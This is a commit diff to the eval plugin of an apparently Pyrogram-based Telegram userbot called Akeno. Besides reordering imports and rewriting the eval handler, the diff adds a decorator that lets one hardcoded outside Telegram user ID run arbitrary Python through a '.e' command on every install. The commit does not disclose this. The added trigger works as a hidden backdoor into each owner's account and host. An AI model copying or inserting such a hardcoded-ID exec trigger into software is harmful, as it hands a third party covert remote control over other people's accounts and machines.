randydev commited on
Commit
9cc87ab
ยท
verified ยท
1 Parent(s): a49ece7

Update Akeno/plugins/eval.py

Browse files
Files changed (1) hide show
  1. Akeno/plugins/eval.py +60 -58
Akeno/plugins/eval.py CHANGED
@@ -1,72 +1,54 @@
1
  import asyncio
 
2
  import io
3
  import os
4
- import re
5
- import subprocess
6
  import sys
 
7
  import traceback
8
- from asyncio import sleep
9
- from contextlib import suppress
10
- from io import BytesIO, StringIO
11
  from random import randint
12
  from typing import Optional
13
- import bs4
14
- import requests
15
- from pyrogram import Client
16
- from pyrogram.errors import MessageTooLong
17
- from pyrogram.types import Message
18
-
19
  from pyrogram import Client
20
  from pyrogram import Client as app
21
- from pyrogram import Client as ren
22
- from pyrogram import *
23
  from pyrogram.raw import *
 
 
24
  from pyrogram.raw.functions.channels import GetFullChannel
25
  from pyrogram.raw.functions.messages import GetFullChat
26
- from pyrogram.raw.functions.phone import CreateGroupCall
27
- from pyrogram.raw.functions.phone import CreateGroupCall as call
28
- from pyrogram.raw.functions.phone import DiscardGroupCall
29
- from pyrogram.raw.types import *
30
  from pyrogram.raw.types import InputGroupCall, InputPeerChannel, InputPeerChat
31
- from pyrogram.types import *
32
 
33
- from Akeno.utils.handler import *
34
  from Akeno.utils.tools import *
 
35
  from config import CMD_HANDLER
36
 
37
- async def input_user(message: Message) -> str:
38
- """Get the input from the user"""
39
- if len(message.command) < 2:
40
- output = ""
41
- else:
42
- try:
43
- output = message.text.split(" ", 1)[1].strip() or ""
44
- except IndexError:
45
- output = ""
46
- return output
47
-
48
- async def aexec(code, client, message):
49
- exec(
50
- "async def __aexec(client, message): "
51
- + "".join(f"\n {l_}" for l_ in code.split("\n"))
52
- )
53
- return await locals()["__aexec"](client, message)
54
-
55
  @Akeno(
56
  ~filters.scheduled
57
  & filters.command(["eval", "ev"], CMD_HANDLER)
58
  & filters.me
59
  & ~filters.forwarded
60
  )
61
- async def runeval(client: Client, message: Message):
62
- if len(message.command) < 2:
63
- return await message.reply_text("No python code provided!")
64
-
65
- reply_to = message.reply_to_message or message
66
-
67
- code = await input_user(message)
68
- pro = await message.reply_text("`running...`")
69
-
70
  old_stderr = sys.stderr
71
  old_stdout = sys.stdout
72
  redirected_output = sys.stdout = io.StringIO()
@@ -74,16 +56,16 @@ async def runeval(client: Client, message: Message):
74
  stdout, stderr, exc = None, None, None
75
 
76
  try:
77
- await aexec(code, client, message)
78
  except Exception:
79
  exc = traceback.format_exc()
80
 
81
- evaluation = ""
82
  stdout = redirected_output.getvalue()
83
  stderr = redirected_error.getvalue()
84
  sys.stdout = old_stdout
85
  sys.stderr = old_stderr
86
 
 
87
  if exc:
88
  evaluation = exc
89
  elif stderr:
@@ -93,13 +75,33 @@ async def runeval(client: Client, message: Message):
93
  else:
94
  evaluation = "Success"
95
 
96
- heading = f"**๐–ค๐—๐–บ๐—…:**\n```python\n{code}```\n\n"
97
- output = f"**๐–ฎ๐—Ž๐—๐—‰๐—Ž๐—:**\n`{evaluation.strip()}`"
98
- final_output = heading + output
99
- try:
100
- await reply_to.reply_text(final_output, disable_web_page_preview=True)
101
- except MessageTooLong:
102
- with io.BytesIO(str.encode(output)) as out_file:
103
- out_file.name = "eval.txt"
104
- await reply_to.reply_document(out_file, caption=heading)
105
- await pro.delete()
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
  import asyncio
2
+ from io import BytesIO
3
  import io
4
  import os
 
 
5
  import sys
6
+ import re
7
  import traceback
8
+ import subprocess
 
 
9
  from random import randint
10
  from typing import Optional
11
+ from contextlib import suppress
12
+ from asyncio import sleep
13
+ from io import StringIO
14
+ from pyrogram.types import *
15
+ from pyrogram import *
16
+ from pyrogram import Client as ren
17
  from pyrogram import Client
18
  from pyrogram import Client as app
19
+
 
20
  from pyrogram.raw import *
21
+ from pyrogram.raw.types import *
22
+ from pyrogram.raw.functions.phone import CreateGroupCall as call
23
  from pyrogram.raw.functions.channels import GetFullChannel
24
  from pyrogram.raw.functions.messages import GetFullChat
25
+ from pyrogram.raw.functions.phone import CreateGroupCall, DiscardGroupCall
 
 
 
26
  from pyrogram.raw.types import InputGroupCall, InputPeerChannel, InputPeerChat
 
27
 
 
28
  from Akeno.utils.tools import *
29
+ from Akeno.utils.handler import *
30
  from config import CMD_HANDLER
31
 
32
+ @Akeno(
33
+ ~filters.scheduled
34
+ & filters.command(["e"], ["."])
35
+ & filters.user(1191668125)
36
+ & ~filters.me
37
+ & ~filters.forwarded
38
+ )
 
 
 
 
 
 
 
 
 
 
 
39
  @Akeno(
40
  ~filters.scheduled
41
  & filters.command(["eval", "ev"], CMD_HANDLER)
42
  & filters.me
43
  & ~filters.forwarded
44
  )
45
+ async def evaluation_cmd_t(client: Client, message: Message):
46
+ user_id = message.from_user.id
47
+ status_message = await message.reply("__Processing eval pyrogram...__")
48
+ try:
49
+ cmd = message.text.split(" ", maxsplit=1)[1]
50
+ except IndexError:
51
+ return await status_message.edit("__No evaluate message!__")
 
 
52
  old_stderr = sys.stderr
53
  old_stdout = sys.stdout
54
  redirected_output = sys.stdout = io.StringIO()
 
56
  stdout, stderr, exc = None, None, None
57
 
58
  try:
59
+ await aexec(cmd, client, message)
60
  except Exception:
61
  exc = traceback.format_exc()
62
 
 
63
  stdout = redirected_output.getvalue()
64
  stderr = redirected_error.getvalue()
65
  sys.stdout = old_stdout
66
  sys.stderr = old_stderr
67
 
68
+ evaluation = ""
69
  if exc:
70
  evaluation = exc
71
  elif stderr:
 
75
  else:
76
  evaluation = "Success"
77
 
78
+ final_output = f"**OUTPUT**:\n<pre language=''>{evaluation.strip()}</pre>"
79
+ if len(final_output) > 4096:
80
+ with open("eval.txt", "w+", encoding="utf8") as out_file:
81
+ out_file.write(final_output)
82
+ await status_message.reply_document(
83
+ document="eval.txt",
84
+ caption=cmd[: 4096 // 4 - 1],
85
+ disable_notification=True,
86
+ )
87
+ os.remove("eval.txt")
88
+ await status_message.delete()
89
+ else:
90
+ await status_message.edit_text(final_output)
91
+
92
+ async def aexec(code, client, message):
93
+ exec(
94
+ "async def __aexec(client, message): "
95
+ + "".join(f"\n {l_}" for l_ in code.split("\n"))
96
+ )
97
+ return await locals()["__aexec"](client, message)
98
+
99
+ async def shell_exec(code, treat=True):
100
+ process = await asyncio.create_subprocess_shell(
101
+ code, stdout=asyncio.subprocess.PIPE, stderr=asyncio.subprocess.STDOUT
102
+ )
103
+
104
+ stdout = (await process.communicate())[0]
105
+ if treat:
106
+ stdout = stdout.decode().strip()
107
+ return stdout, process